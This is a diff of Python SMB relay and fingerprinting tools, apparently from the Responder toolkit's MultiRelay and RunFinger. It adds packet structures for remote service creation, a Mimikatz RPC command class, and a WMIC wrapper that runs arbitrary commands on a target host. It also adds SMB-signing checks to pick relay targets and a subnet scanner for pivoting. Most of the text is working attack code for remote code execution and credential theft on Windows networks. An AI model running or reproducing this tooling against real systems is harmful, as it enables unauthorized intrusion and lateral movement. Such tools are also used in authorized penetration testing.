data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Target[0], RunPath,FileName)
del Cmd[:]
else:
print SysSVCFileName+" does not exist, please specify a valid file."
del Cmd[:]
if data is None: if data is None:
print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure the server (\\Windows\\Temp\\) is clean\033[0m\n" print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure (\\Windows\\Temp\\) is clean on the server\033[0m\n"
if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop. if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop.
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")# t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")#
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
@ -613,6 +791,11 @@ def main():
time.sleep(1) time.sleep(1)
except (KeyboardInterrupt, SystemExit): except (KeyboardInterrupt, SystemExit):
##If we reached here after a MultiRelay shell interaction, we need to reset the terminal to its default.
##This is a bug in python readline when dealing with raw_input()..
if ShellOpen:
os.system('stty sane')
##Then exit
sys.exit("\rExiting...") sys.exit("\rExiting...")
if __name__ == '__main__': if __name__ == '__main__':

File diff suppressed because it is too large Load diff

View file

@ -460,7 +460,42 @@ class SMBTreeConnectData(Packet):
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"]) BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2] self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
class SMBTreeDisconnect(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc","\x00\x00"),
])
class SMBNTCreateData(Packet): class SMBNTCreateData(Packet):
fields = OrderedDict([
("Wordcount", "\x18"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("Reserved2", "\x00"),
("FileNameLen", "\x07\x00"),
("CreateFlags", "\x16\x00\x00\x00"),
("RootFID", "\x00\x00\x00\x00"),
("AccessMask", "\x9F\x01\x02\x00"),
("AllocSize", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("FileAttrib", "\x00\x00\x00\x00"),
("ShareAccess", "\x03\x00\x00\x00"),
("Disposition", "\x01\x00\x00\x00"),
("CreateOptions", "\x40\x00\x40\x00"),
("Impersonation", "\x02\x00\x00\x00"),
("SecurityFlags", "\x01"),
("Bcc", "\x08\x00"),
("FileName", ""),
("FileNameNull", "\x00"),
])
def calculate(self):
Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
self.fields["Bcc"] = struct.pack("<h",len(Data1))
class SMBNTCreateDataSVCCTL(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Wordcount", "\x18"), ("Wordcount", "\x18"),
("AndXCommand", "\xff"), ("AndXCommand", "\xff"),
@ -488,6 +523,15 @@ class SMBNTCreateData(Packet):
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"]))) self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
self.fields["Bcc"] = struct.pack("<h",len(Data1)) self.fields["Bcc"] = struct.pack("<h",len(Data1))
class SMBLockingAndXResponse(Packet):
fields = OrderedDict([
("Wordcount", "\x02"),
("AndXCommand", "\xff"),
("Reserved", "\x00"),
("Andxoffset", "\x00\x00"),
("Bcc", "\x00\x00"),
])
class SMBReadData(Packet): class SMBReadData(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Wordcount", "\x0a"), ("Wordcount", "\x0a"),
@ -509,6 +553,31 @@ class SMBReadData(Packet):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"]))) self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBWriteData(Packet): class SMBWriteData(Packet):
fields = OrderedDict([
("Wordcount", "\x0e"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\xde\xde"),
("FID", "\x06\x40"),
("Offset", "\x00\x00\x00\x00"),
("TimeOut", "\x00\x00\x00\x00"),
("WriteMode", "\x01\x00"),
("Remaining", "\x00\x00"),
("DataLenHi", "\x00\x00"),
("DataLenLow", "\xdc\x02"),
("DataOffset", "\x40\x00"),
("HiOffset", "\x00\x00\x00\x00"),
("Bcc", "\xdc\x02"),
("Padding", "\x41"),
("Data", ""),
])
def calculate(self):
self.fields["DataLenLow"] = struct.pack("<H",len(str(self.fields["Data"])))
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
class SMBDCERPCWriteData(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Wordcount", "\x0e"), ("Wordcount", "\x0e"),
("AndXCommand", "\xff"), ("AndXCommand", "\xff"),
@ -532,6 +601,8 @@ class SMBWriteData(Packet):
self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"]))) self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"]))) self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBTransDCERPC(Packet): class SMBTransDCERPC(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Wordcount", "\x10"), ("Wordcount", "\x10"),
@ -591,7 +662,7 @@ class SMBDCEData(Packet):
("DataRepresent", "\x10\x00\x00\x00"), ("DataRepresent", "\x10\x00\x00\x00"),
("FragLen", "\x2c\x02"), ("FragLen", "\x2c\x02"),
("AuthLen", "\x00\x00"), ("AuthLen", "\x00\x00"),
("CallID", "\x00\x00\x00\x00"), ("CallID", "\x01\x00\x00\x00"),
("MaxTransFrag", "\xd0\x16"), ("MaxTransFrag", "\xd0\x16"),
("MaxRecvFrag", "\xd0\x16"), ("MaxRecvFrag", "\xd0\x16"),
("GroupAssoc", "\x00\x00\x00\x00"), ("GroupAssoc", "\x00\x00\x00\x00"),
@ -688,7 +759,7 @@ class SMBDCESVCCTLCreateService(Packet):
("TagID", "\x00\x00\x00\x00"), ("TagID", "\x00\x00\x00\x00"),
("Dependencies", "\x00\x00\x00\x00"), ("Dependencies", "\x00\x00\x00\x00"),
("DependenciesLen", "\x00\x00\x00\x00"), ("DependenciesLen", "\x00\x00\x00\x00"),
("ServiceStartName", "\x00\x00\x00\x00"), ("ServiceStartUser", "\x00\x00\x00\x00"),
("Password", "\x00\x00\x00\x00"), ("Password", "\x00\x00\x00\x00"),
("PasswordLen", "\x00\x00\x00\x00"), ("PasswordLen", "\x00\x00\x00\x00"),
("Padding", "\x00\x00"), ("Padding", "\x00\x00"),
@ -696,14 +767,14 @@ class SMBDCESVCCTLCreateService(Packet):
]) ])
def calculate(self): def calculate(self):
WinTmpPath = "%WINDIR%\\Temp\\Results.txt"
##Run the actual command via WMIC, no need to write/execute from a file.
self.fields["BinCMD"] = "WMIC process call create 'cmd /c ("+self.fields["BinCMD"]+") >"+WinTmpPath+"&exit'"
BinDataLen = str(self.fields["BinCMD"]) BinDataLen = str(self.fields["BinCMD"])
#Padding
if len(str(self.fields["BinCMD"]))%2==0:
self.fields["LoadOrderGroup"] = "\x00\x00\x00\x00"
else:
self.fields["LoadOrderGroup"] = "\x00\x00"
## Calculate first ## Calculate first
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1) self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1) self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1)
@ -711,12 +782,12 @@ class SMBDCESVCCTLCreateService(Packet):
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1) self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1) self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1) self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
## Then convert to UTF-16LE ## Then convert to UTF-16LE
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le') self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le') self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le') self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
class SMBDCESVCCTLOpenService(Packet): class SMBDCESVCCTLOpenService(Packet):
fields = OrderedDict([ fields = OrderedDict([
("ContextHandle", ""), ("ContextHandle", ""),
@ -767,6 +838,21 @@ class SMBDCESVCCTLQueryService(Packet):
("ContextHandle", ""), ("ContextHandle", ""),
]) ])
class SMBDCEMimiKatzRPCCommand(Packet):
fields = OrderedDict([
("ContextHandleLen", "\x07\x00\x00\x00"),
("ContextHandle", "\x00\x00\x00\x00"),
("ContextHandleLen2", "\x07\x00\x00\x00"),
("CMD", ""),
("CMDEnd", "\x00\x00"),
])
def calculate(self):
self.fields["ContextHandleLen"] = struct.pack("<i",len(str(self.fields["CMD"]))+1)
self.fields["ContextHandleLen2"] = struct.pack("<i",len(str(self.fields["CMD"]))+1)
self.fields["CMD"] = self.fields["CMD"].encode('utf-16le')
class OpenAndX(Packet): class OpenAndX(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Wordcount", "\x0f"), ("Wordcount", "\x0f"),
@ -819,6 +905,42 @@ class ReadRequestAndX(Packet):
]) ])
class SMBDCERPCReadRequestAndX(Packet):
fields = OrderedDict([
("Wordcount", "\x0C"),
("AndXCommand", "\xff"),
("Reserved", "\x00"),
("AndXOffset", "\xde\xde"),
("FID", "\x02\x40"),
("Offset", "\x00\x00\x00\x00"),
("MaxCountLow", "\xb8\x10"),
("MinCount", "\xb8\x10"),
("Timeout", "\xff\xff\xff\xff"),
("RemainingBytes", "\x00\x00"),
("HighOffset", "\x00\x00\x00\x00"),
("Bcc", "\x00\x00"),
])
class WriteRequestAndX(Packet):
fields = OrderedDict([
("Wordcount", "\x06"),
("AndXCommand", "\xff"),
("Reserved", "\x00"),
("AndXOffset", "\xde\xde"),
("FID", "\x02\x40"),
("Offset", "\x00\x00\x00\x00"),
("Reserved2", "\xff\xff\xff\xff"),
("WriteMode", "\x00\x00"),
("Remaining", "\x00\x00"),
("DataLenHi", "\x00\x00"),
("DataLenLow", "\x0a\x00"),#actual Len
("DataOffset", "\x3f\x00"),
("Bcc", "\x0a\x00"),
("Padd", ""),
("Data", ""),
])
class CloseRequest(Packet): class CloseRequest(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -988,3 +1110,4 @@ class SMBDCEWinRegSaveKey(Packet):
self.fields["FileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2) self.fields["FileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2)
self.fields["MaxFileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2) self.fields["MaxFileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2)

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View file

@ -21,7 +21,7 @@ from socket import *
from odict import OrderedDict from odict import OrderedDict
import optparse import optparse
__version__ = "0.6" __version__ = "0.7"
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0]) parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
@ -155,18 +155,22 @@ def dtoa(d):
def OsNameClientVersion(data): def OsNameClientVersion(data):
try: try:
length = struct.unpack('<H',data[43:45])[0] length = struct.unpack('<H',data[43:45])[0]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]]) if length > 255:
if OsVersion == "Unix": OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]])
OsVersion = ClientVersion return OsVersion, ClientVersion
return OsVersion, ClientVersion if length <= 255:
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except: except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version" return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def GetHostnameAndDomainName(data): def GetHostnameAndDomainName(data):
try: try:
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]]) DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
Time = GetBootTime(data[60:68]) Time = GetBootTime(data[60:68])
#If max length domain name, there won't be a \x00\x00\x00 delineator to split on
if Hostname == '':
DomainJoined = data[81:110].replace('\x00','')
Hostname = data[113:].replace('\x00','')
return Hostname, DomainJoined, Time return Hostname, DomainJoined, Time
except: except:
return "Could not get Hostname.", "Could not get Domain joined" return "Could not get Hostname.", "Could not get Domain joined"

View file

@ -15,11 +15,15 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import re,sys,socket,struct import re,sys,socket,struct
import multiprocessing
from socket import * from socket import *
from time import sleep
from odict import OrderedDict from odict import OrderedDict
__version__ = "0.3" __version__ = "0.7"
Timeout = 0.5
Timeout = 2
class Packet(): class Packet():
fields = OrderedDict([ fields = OrderedDict([
]) ])
@ -139,15 +143,22 @@ def dtoa(d):
def OsNameClientVersion(data): def OsNameClientVersion(data):
try: try:
length = struct.unpack('<H',data[43:45])[0] length = struct.unpack('<H',data[43:45])[0]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]]) if length > 255:
return OsVersion, ClientVersion OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
if length <= 255:
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except: except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version" return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def GetHostnameAndDomainName(data): def GetHostnameAndDomainName(data):
try: try:
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]]) DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
#If max length domain name, there won't be a \x00\x00\x00 delineator to split on
if Hostname == '':
DomainJoined = data[81:110].replace('\x00','')
Hostname = data[113:].replace('\x00','')
return Hostname, DomainJoined return Hostname, DomainJoined
except: except:
return "Could not get Hostname.", "Could not get Domain joined" return "Could not get Hostname.", "Could not get Domain joined"
@ -205,6 +216,27 @@ def SmbFinger(Host):
return signing, OsVersion, ClientVersion return signing, OsVersion, ClientVersion
except: except:
pass pass
def SmbFingerSigning(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect((Host, 445))
except:
return False
try:
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
signing = IsSigningEnabled(data)
return signing
except:
pass
################## ##################
#run it #run it
def ShowResults(Host): def ShowResults(Host):
@ -244,6 +276,43 @@ def ShowSmallResults(Host):
pass pass
def ShowScanSmallResults(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
except:
return False
try:
Hostname, DomainJoined = DomainGrab(Host)
Signing, OsVer, LanManClient = SmbFinger(Host)
Message ="['%s', Os:'%s', Domain:'%s', Signing:'%s']"%(Host[0], OsVer, DomainJoined, Signing)
print Message
except:
pass
def ShowSigning(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect((Host, 445))
except:
print "[Pivot Verification Failed]: Target host is down"
return True
try:
Signing = SmbFingerSigning(Host)
if Signing == True:
print "[Pivot Verification Failed]:Signing is enabled. Choose another host."
return True
else:
return False
except:
pass
def RunFinger(Host): def RunFinger(Host):
m = re.search("/", str(Host)) m = re.search("/", str(Host))
if m : if m :
@ -255,3 +324,23 @@ def RunFinger(Host):
else: else:
ShowResults((Host,445)) ShowResults((Host,445))
def RunPivotScan(Host, CurrentIP):
m = re.search("/", str(Host))
if m :
net,_,mask = Host.partition('/')
mask = int(mask)
net = atod(net)
threads = []
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
if CurrentIP == host:
pass
else:
p = multiprocessing.Process(target=ShowScanSmallResults, args=((host,445),))
threads.append(p)
p.start()
sleep(1)
else:
ShowScanSmallResults((Host,445))